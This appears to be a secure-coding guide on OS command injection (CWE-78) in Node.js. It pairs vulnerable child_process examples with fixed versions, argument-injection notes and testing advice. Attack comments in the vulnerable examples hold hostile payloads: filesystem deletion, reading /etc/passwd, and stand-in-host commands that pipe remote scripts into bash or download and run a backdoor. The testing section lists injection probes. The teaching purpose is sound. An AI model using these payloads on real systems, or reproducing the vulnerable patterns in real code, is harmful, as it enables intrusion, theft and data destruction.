Skip to content

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - JavaScript

Overview

OS Command Injection in JavaScript/Node.js applications occurs when untrusted user input is incorporated into a command string that a shell then parses. The shell reads metacharacters in that input as syntax, so the attacker chooses commands that run with the privileges of the Node.js process.

Common Node.js Command Injection Scenarios:

  • Using child_process.exec() with user input
  • Shell command construction with template literals
  • String concatenation in child_process.spawn() with shell: true
  • Unsafe use of eval() or Function() with system commands
  • File path manipulation in system utilities

Node.js Command Execution APIs:

  • child_process.exec(): Spawns shell, vulnerable to injection
  • child_process.execSync(): Synchronous exec, spawns shell
  • child_process.spawn(): Can be safe if shell: false
  • child_process.spawnSync(): Synchronous spawn
  • child_process.execFile(): Safer, doesn't spawn shell by default
  • child_process.fork(): Spawns Node.js processes

Primary Defence: Use Node.js native modules (fs, https, etc.) instead of system commands, or if unavoidable, use child_process.execFile() or spawn() with argument arrays and shell: false.

Common Vulnerable Patterns

exec() with User Input

// VULNERABLE - child_process.exec() with string concatenation
const { exec } = require('child_process');

function pingHost(hostname) {
    // VULNERABLE - User input in command string
    const command = `ping -c 4 ${hostname}`;

    exec(command, (error, stdout, stderr) => {
        if (error) {
            console.error(`Error: ${error.message}`);
            return;
        }
        console.log(stdout);
    });
}

// Attack: hostname = "8.8.8.8; rm -rf /"
// Executes: ping -c 4 8.8.8.8; rm -rf /
// Deletes entire filesystem!

Why this is vulnerable:

  • exec() spawns a shell (/bin/sh or cmd.exe)
  • Semicolon allows command chaining
  • No input validation
  • Whatever follows the semicolon runs with the privileges of the Node.js process

Template Literals in Commands

// VULNERABLE - Template literals with user input
const { execSync } = require('child_process');

function convertImage(filename) {
    // VULNERABLE - Template literal with user input
    const command = `convert ${filename} output.png`;

    try {
        execSync(command);
        console.log('Image converted successfully');
    } catch (error) {
        console.error('Conversion failed:', error.message);
    }
}

// Attack: filename = "input.jpg; cat /etc/passwd > public/passwd.txt"
// Exfiltrates system passwords

Why this is vulnerable:

  • execSync() spawns shell
  • Template literals don't escape shell metacharacters
  • Command injection via semicolon
  • Data exfiltration

Express Route with exec()

// VULNERABLE - Express route executing system commands
const express = require('express');
const { exec } = require('child_process');

const app = express();

app.get('/lookup', (req, res) => {
    const domain = req.query.domain;

    // VULNERABLE - User input in nslookup command
    exec(`nslookup ${domain}`, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).send('Lookup failed');
        }
        res.send(stdout);
    });
});

// Attack: /lookup?domain=google.com;cat%20/etc/passwd
// Executes both nslookup and cat commands

Why this is vulnerable:

  • User input from query parameter
  • No validation or sanitization
  • Shell spawned by exec()
  • Arbitrary command execution

spawn() with shell: true

// VULNERABLE - spawn() with shell enabled
const { spawn } = require('child_process');

function listDirectory(directory) {
    // VULNERABLE - spawn with shell: true
    const ls = spawn('ls', ['-la', directory], { shell: true });

    ls.stdout.on('data', (data) => {
        console.log(data.toString());
    });
}

// Attack: directory = "; rm -rf /"
// With shell: true, command injection is possible

Why this is vulnerable:

  • shell: true sends the argument array back through a shell for parsing
  • Semicolon allows command injection
  • Directory traversal possible

Git Commands with User Input

// VULNERABLE - Git operations with user input
const { execSync } = require('child_process');

function cloneRepository(repoUrl) {
    // VULNERABLE - User-controlled URL in git clone
    const command = `git clone ${repoUrl} /tmp/repo`;

    try {
        execSync(command);
        console.log('Repository cloned');
    } catch (error) {
        console.error('Clone failed');
    }
}

// Attack: repoUrl = "https://evil.com/repo.git; curl http://attacker.com/shell.sh | bash"
// Downloads and executes remote script

Why this is vulnerable:

  • User-controlled URL
  • Command injection via semicolon
  • Remote code execution: the payload above pipes a downloaded script into bash

File Operations with System Commands

// VULNERABLE - Using system commands for file operations
const { exec } = require('child_process');

function deleteFile(filename) {
    // VULNERABLE - User input in rm command
    const command = `rm -f /tmp/${filename}`;

    exec(command, (error) => {
        if (error) {
            console.error('Delete failed');
        }
    });
}

// Attack: filename = "../../../etc/passwd"
// Directory traversal + file deletion

Why this is vulnerable:

  • User-controlled filename
  • Directory traversal with ../
  • Can delete any file the process can reach, including system files

PDF Generation with System Tools

// VULNERABLE - PDF generation with user input
const { execFile } = require('child_process');

function generatePDF(htmlContent, outputPath) {
    // VULNERABLE - Even execFile can be dangerous with wrong usage
    execFile('wkhtmltopdf', ['-', outputPath], {
        shell: true,  // DANGEROUS!
        input: htmlContent
    }, (error) => {
        if (error) {
            console.error('PDF generation failed');
        }
    });
}

// Attack: outputPath = "output.pdf; curl http://evil.com/malware.sh | bash"
// With shell: true, command injection is possible

Why this is vulnerable:

  • execFile() with shell: true is vulnerable
  • User-controlled output path
  • Command injection possible
  • Remote code execution

Archive Operations

// VULNERABLE - Archive extraction with user input
const { exec } = require('child_process');

function extractArchive(archiveName) {
    // VULNERABLE - User input in tar command
    const command = `tar -xzf uploads/${archiveName}`;

    exec(command, (error) => {
        if (error) {
            console.error('Extraction failed');
        }
    });
}

// Attack: archiveName = "archive.tar.gz; wget http://evil.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor"
// Downloads and executes backdoor

Why this is vulnerable:

  • User-controlled archive name
  • Command injection via semicolon
  • Backdoor downloaded, made executable, and run

Secure Patterns

Use spawn() Without Shell

WARNING: Avoid executing OS commands if at all possible. Node.js has packages for almost everything (axios, fs-extra, archiver, etc.). This pattern is ONLY for cases where no npm package exists (e.g., calling a legacy third-party binary).

// USE WITH CAUTION - spawn() with shell: false (default)
const { spawn } = require('child_process');

function pingHostSecure(hostname) {
    // Validate hostname format. The first character cannot be '-': spawn passes
    // the array through untouched, so "-debug" would reach ping as an option
    // rather than a host (CWE-88).
    const hostnameRegex = /^[a-zA-Z0-9][a-zA-Z0-9.-]*$/;
    if (!hostnameRegex.test(hostname)) {
        throw new Error('Invalid hostname format');
    }

    // SECURE - spawn without shell, arguments as array
    const ping = spawn('ping', ['-c', '4', hostname], { shell: false });

    ping.stdout.on('data', (data) => {
        console.log(data.toString());
    });

    ping.on('error', (error) => {
        console.error('Ping failed:', error.message);
    });
}

Why this works: Using spawn() with shell: false (the default) passes arguments directly to the executable without shell interpretation. Even if hostname contains shell metacharacters like ;, |, or &&, they're treated as literal data rather than command separators. The regex validation provides defense-in-depth by rejecting malformed hostnames before they reach spawn.

execFile() Without Shell

WARNING: Use Node.js native libraries instead (sharp, jimp for images; archiver for archives). Only use execFile() when no npm alternative exists.

// AVOID IF POSSIBLE - execFile() doesn't spawn shell by default
const { execFile } = require('child_process');
const path = require('path');

const IMAGE_DIR = '/srv/app/images';
const ALLOWED_EXTENSIONS = ['.jpg', '.png', '.gif', '.webp'];

function resolveInImageDir(name) {
    // Resolve against a fixed base, then confirm the result is still under it.
    // A `name.includes('..')` test does not do this: it accepts absolute
    // paths such as /etc/passwd.jpg or C:\Windows\win.ini.jpg, which
    // path.resolve() takes as-is and which never contain '..'.
    const resolved = path.resolve(IMAGE_DIR, name);
    const relative = path.relative(IMAGE_DIR, resolved);

    if (relative === '' || relative.startsWith('..') || path.isAbsolute(relative)) {
        throw new Error('Path outside image directory');
    }

    if (!ALLOWED_EXTENSIONS.includes(path.extname(resolved).toLowerCase())) {
        throw new Error('Invalid file extension');
    }

    return resolved;
}

function convertImageSecure(inputName, outputName) {
    const inputFile = resolveInImageDir(inputName);
    const outputFile = resolveInImageDir(outputName);

    // SECURE - execFile with argument array
    execFile('convert', [inputFile, outputFile], (error, stdout, stderr) => {
        if (error) {
            console.error('Conversion failed:', error.message);
            return;
        }
        console.log('Converted successfully');
    });
}

Why this works: The execFile() function runs the named program directly without spawning a shell, and the argument array reaches it without shell parsing, so metacharacters in either filename are just characters. That is the whole of the command injection fix - the path handling is a separate weakness the same call site has to answer, because convert will read and write wherever it is pointed. Resolving both names against IMAGE_DIR and comparing with path.relative() is what keeps them inside it, and it also means neither argument can begin with -, so a filename cannot become an option (see CWE-88).

One limit worth stating: path.resolve() is string arithmetic and does not follow symbolic links, so a symlink already inside IMAGE_DIR still points wherever it points. Canonicalizing with fs.realpathSync() instead would close that, but it throws on the output path, which does not exist yet - the containment check has to be applied to the resolved name for a destination, and to the real path for a source. CWE-22 covers that distinction.

Use Native Node.js APIs

// SECURE - Use native fs module instead of system commands
const fs = require('fs').promises;
const path = require('path');

async function deleteFileSecure(filename) {
    // Validate filename
    const safeFilename = path.basename(filename);

    if (safeFilename.includes('..')) {
        throw new Error('Invalid filename');
    }

    // Construct safe path
    const safePath = path.join('/tmp', safeFilename);

    // SECURE - Use native fs.unlink instead of rm command
    try {
        await fs.unlink(safePath);
        console.log('File deleted successfully');
    } catch (error) {
        console.error('Delete failed:', error.message);
    }
}

Why this works: Using Node.js's native fs.unlink() API removes the weakness rather than containing it: no command string is built, no shell is spawned, and no external process runs. path.basename() strips directory components, so ../ sequences in the input cannot move the delete outside /tmp.

Express with Validation

// SECURE - Express route with strict validation
const express = require('express');
const { execFile } = require('child_process');
const validator = require('validator');

const app = express();

app.get('/lookup', (req, res) => {
    const domain = req.query.domain;

    // SECURE - Validate domain format
    if (!domain || !validator.isFQDN(domain)) {
        return res.status(400).send('Invalid domain name');
    }

    // Limit domain length
    if (domain.length > 253) {
        return res.status(400).send('Domain too long');
    }

    // SECURE - execFile without shell
    execFile('nslookup', [domain], (error, stdout, stderr) => {
        if (error) {
            return res.status(500).send('Lookup failed');
        }
        res.send(stdout);
    });
});

app.listen(3000);

Why this works: The validator.isFQDN() function ensures the domain matches fully qualified domain name standards, rejecting strings with shell metacharacters or command separators. Length limits prevent resource abuse. Using execFile() without the shell option passes the domain as a single argument to nslookup, where special characters are treated as literal data rather than executable commands.

Git Operations with Validation

// SECURE - Git clone with URL validation
const { execFile } = require('child_process');
const { URL } = require('url');
const path = require('path');

function cloneRepositorySecure(repoUrl) {
    // SECURE - Validate URL format
    let parsedUrl;
    try {
        parsedUrl = new URL(repoUrl);
    } catch (error) {
        throw new Error('Invalid repository URL');
    }

    // Allowlist allowed protocols
    const allowedProtocols = ['https:'];
    if (!allowedProtocols.includes(parsedUrl.protocol)) {
        throw new Error('Invalid protocol. Only HTTPS allowed');
    }

    // Allowlist allowed hosts (optional)
    const allowedHosts = ['github.com', 'gitlab.com', 'bitbucket.org'];
    if (!allowedHosts.includes(parsedUrl.hostname)) {
        throw new Error('Repository host not allowed');
    }

    // Generate safe destination path
    const repoName = path.basename(parsedUrl.pathname, '.git');
    if (!/^[a-zA-Z0-9._-]+$/.test(repoName) || repoName.startsWith('-')) {
        throw new Error('Invalid repository name');
    }
    const destination = path.join('/tmp/repos', repoName);

    // SECURE - execFile with argument array and -- to terminate git options
    execFile('git', ['clone', '--', repoUrl, destination], (error, stdout, stderr) => {
        if (error) {
            console.error('Clone failed:', error.message);
            return;
        }
        console.log('Repository cloned successfully');
    });
}

Why this works: Parsing the URL with the URL class validates its structure and rejects malformed inputs. Restricting to HTTPS and trusted hosts avoids Git protocols such as ssh, git, or ext:: that can introduce additional client-side behavior. Using execFile() with an argument array ensures the URL is not interpreted by a shell, and -- prevents Git from treating the repository URL as another option. Repository-name validation keeps the destination path under application control.

Archive Operations with Native Libraries

// SECURE - Use native libraries instead of system tar command
const tar = require('tar');
const path = require('path');

async function extractArchiveSecure(archiveName) {
    // Validate archive name
    const safeArchive = path.basename(archiveName);

    if (!safeArchive.endsWith('.tar.gz') && !safeArchive.endsWith('.tgz')) {
        throw new Error('Invalid archive format');
    }

    if (safeArchive.includes('..')) {
        throw new Error('Invalid archive name');
    }

    const archivePath = path.join('/uploads', safeArchive);
    const extractPath = path.join('/tmp/extracted', path.basename(safeArchive, '.tar.gz'));

    // SECURE - Use tar library instead of system command
    try {
        await tar.extract({
            file: archivePath,
            cwd: extractPath,
            strict: true,
            filter: (path) => {
                // Prevent directory traversal in archive
                return !path.includes('..');
            }
        });
        console.log('Archive extracted successfully');
    } catch (error) {
        console.error('Extraction failed:', error.message);
    }
}

Why this works: The native tar library processes archives in JavaScript without invoking the system tar command, eliminating shell command injection entirely. File extension validation ensures only tar.gz files are processed, while path.basename() strips directory components. The filter function provides an additional layer of protection by rejecting archive entries containing .., preventing zip slip vulnerabilities.

Command Allowlist Approach

// SECURE - Allowlist of allowed commands
const { execFile } = require('child_process');

const ALLOWED_COMMANDS = {
    'ping': {
        executable: '/bin/ping',
        allowedArgs: ['-c', '-W'],
        maxArgs: 3
    },
    'nslookup': {
        executable: '/usr/bin/nslookup',
        allowedArgs: [],
        maxArgs: 1
    }
};

// Values may not begin with '-', or the program reads them as options.
const OPERAND = /^[a-zA-Z0-9][a-zA-Z0-9.-]*$/;

function executeAllowlistedCommand(commandName, args) {
    // Validate command exists in allowlist
    const command = ALLOWED_COMMANDS[commandName];
    if (!command) {
        throw new Error(`Command '${commandName}' not allowed`);
    }

    // Validate argument count
    if (args.length > command.maxArgs) {
        throw new Error('Too many arguments');
    }

    // Validate each argument. An element starting with '-' must be one of the
    // options this command declares; anything else must be an operand.
    for (const arg of args) {
        if (arg.startsWith('-')) {
            if (!command.allowedArgs.includes(arg)) {
                throw new Error(`Option '${arg}' not allowed for ${commandName}`);
            }
        } else if (!OPERAND.test(arg)) {
            throw new Error('Invalid argument format');
        }
    }

    // SECURE - execFile with validated executable and args
    execFile(command.executable, args, (error, stdout, stderr) => {
        if (error) {
            console.error('Command failed:', error.message);
            return;
        }
        console.log(stdout);
    });
}

// Usage
executeAllowlistedCommand('ping', ['-c', '4', '8.8.8.8']);

Why this works: The allowlist names permitted executables by absolute path, so an attacker cannot select a different program or reach one through PATH. execFile passes the array to the process untouched, so shell metacharacters in an operand are just characters.

The part that actually closes argument injection is the split between options and operands. allowedArgs is consulted for any element beginning with -, and everything else must match a pattern whose first character cannot be a hyphen - so nslookup, which declares allowedArgs: [], accepts no options at all. Two things this replaces are worth naming, because both read as controls and are not:

  • An allowlist field that nothing consults. An earlier version of this example declared allowedArgs and never referenced it, validating every element against /^[a-zA-Z0-9.-]+$/ instead. That class contains -, so -debug, --help and -c all passed, and nslookup with allowedArgs: [] accepted --version (measured on Node 24.3). The declaration made the code look stricter than the code was.
  • An argument count limit read as an argument-injection control. maxArgs bounds how many arguments arrive, not what they are. One element is enough for --checkpoint-action=exec=sh.

Containerized Command Execution

// SECURE - Execute commands in Docker container
const { execFile } = require('child_process');

function executeInContainer(userCommand, args) {
    // Validate command is in allowlist
    const allowedCommands = ['convert', 'ffmpeg', 'gs'];
    if (!allowedCommands.includes(userCommand)) {
        throw new Error('Command not allowed');
    }

    // Validate arguments (no shell metacharacters)
    for (const arg of args) {
        if (/[;&|$`<>]/.test(arg)) {
            throw new Error('Invalid characters in arguments');
        }
    }

    // SECURE - Execute in isolated Docker container
    const dockerArgs = [
        'run',
        '--rm',                    // Remove container after execution
        '--network=none',          // No network access
        '--memory=256m',           // Memory limit
        '--cpus=0.5',              // CPU limit
        '--read-only',             // Read-only filesystem
        'alpine',                  // Minimal base image
        userCommand,
        ...args
    ];

    execFile('docker', dockerArgs, (error, stdout, stderr) => {
        if (error) {
            console.error('Execution failed:', error.message);
            return;
        }
        console.log(stdout);
    });
}

Why this works: Executing commands inside Docker containers can reduce blast radius when a task truly requires risky external tools, but it is not a substitute for command and argument validation. The allowed command list must be narrow, arguments must be validated for the specific tool, and the container should run without unnecessary capabilities, network access, writable filesystems, or ambient secrets. Resource limits reduce denial-of-service impact. This approach assumes breach and limits damage through isolation rather than treating containerization as a complete security boundary.

Considerations

shell: false does not finish the finding

An argument array stops the shell from parsing the value. It does not stop the program you launched from parsing it. The git clone example above passes -- for exactly this reason: without it, a repository URL of --upload-pack=... is an option, and no shell was involved. Before closing a CWE-78 finding, ask what the target program does with a value starting with -, and either reject those values or place -- ahead of the user-controlled arguments where the program supports it. What is left is CWE-88.

The program itself is part of the judgement. execFile('ping', ['-c', '4', host]) and execFile('node', [script]) have the same shape and very different exposure: the second hands its argument to an interpreter, so any value is code. The same applies to shell-script wrappers, which re-enter a shell one layer below the Node.js code.

Windows batch files: Node refuses rather than escapes

Windows has no argv array at the system-call level, and cmd.exe parses the command line for a .bat or .cmd target - which is how the shell gets back into a call that never named one. That was CVE-2024-27980, and the fix in Node 18.20.2, 20.12.2 and 21.7.3 made spawn()/execFile() reject a batch-file target outright unless shell: true is set. Confirmed on Node 24: execFileSync('show.bat', [...]) throws EINVAL.

That first fix was incomplete: a crafted argument could still slip a command past the new escaping, tracked as CVE-2024-36138 and closed in 18.20.4, 20.15.1 and 22.4.1. Both CVEs are Windows-only - the underlying cmd.exe parsing gap has no equivalent on Linux or macOS - so check the running Node is at or above the second set of versions, not just the April one, before treating a batch-file target as handled.

So on a supported Node the runtime will not let this be silent. The judgement is what to do when it throws: setting shell: true to make the error go away is the wrong answer, because that is the injection surface the fix was protecting. Call the executable the batch file wraps, or validate the arguments against cmd.exe parsing rules and accept shell: true knowingly.

Testing

  • Send ; id, $(id), `id`, | whoami and && curl http://example.invalid as the parameter that reaches the command; confirm each is passed through as a literal argument rather than interpreted.
  • Send a value beginning with - or --. Argument-array execution stops shell interpretation but not argument injection: a filename of --exec=... is still handed to the program as a flag. Confirm the value is rejected, or separated from options with -- where the program supports it.
  • Assert on the actual argv the child received rather than on the absence of an error - a command that ignores an unexpected argument still ran with it.
  • Confirm a normal, valid input still succeeds, so the fix has not simply rejected everything.

Common Pitfalls

  • Switching from exec() to execFile() but still passing { shell: true } in the options object - execFile() avoids the shell only when shell is left at its default false; re-enabling it (often copy-pasted from an older exec() call) restores the exact injection surface the switch was meant to close.
  • Building the argv array correctly for spawn()/execFile() with shell: false, but constructing one element by joining several user-controlled values into a single string ([flags.join(' '), target]) - a space-joined string as one argv element isn't shell-parsed, but it can still change the target program's own argument parsing if the program treats the joined string as multiple flags.
  • Validating a domain or filename with a regex allowlist, then passing a different, unvalidated variable (a raw pre-decoded query value, or a display-only field) as the actual argument to execFile() - the validated variable and the argument that reaches the child process are not the same variable.

Additional Resources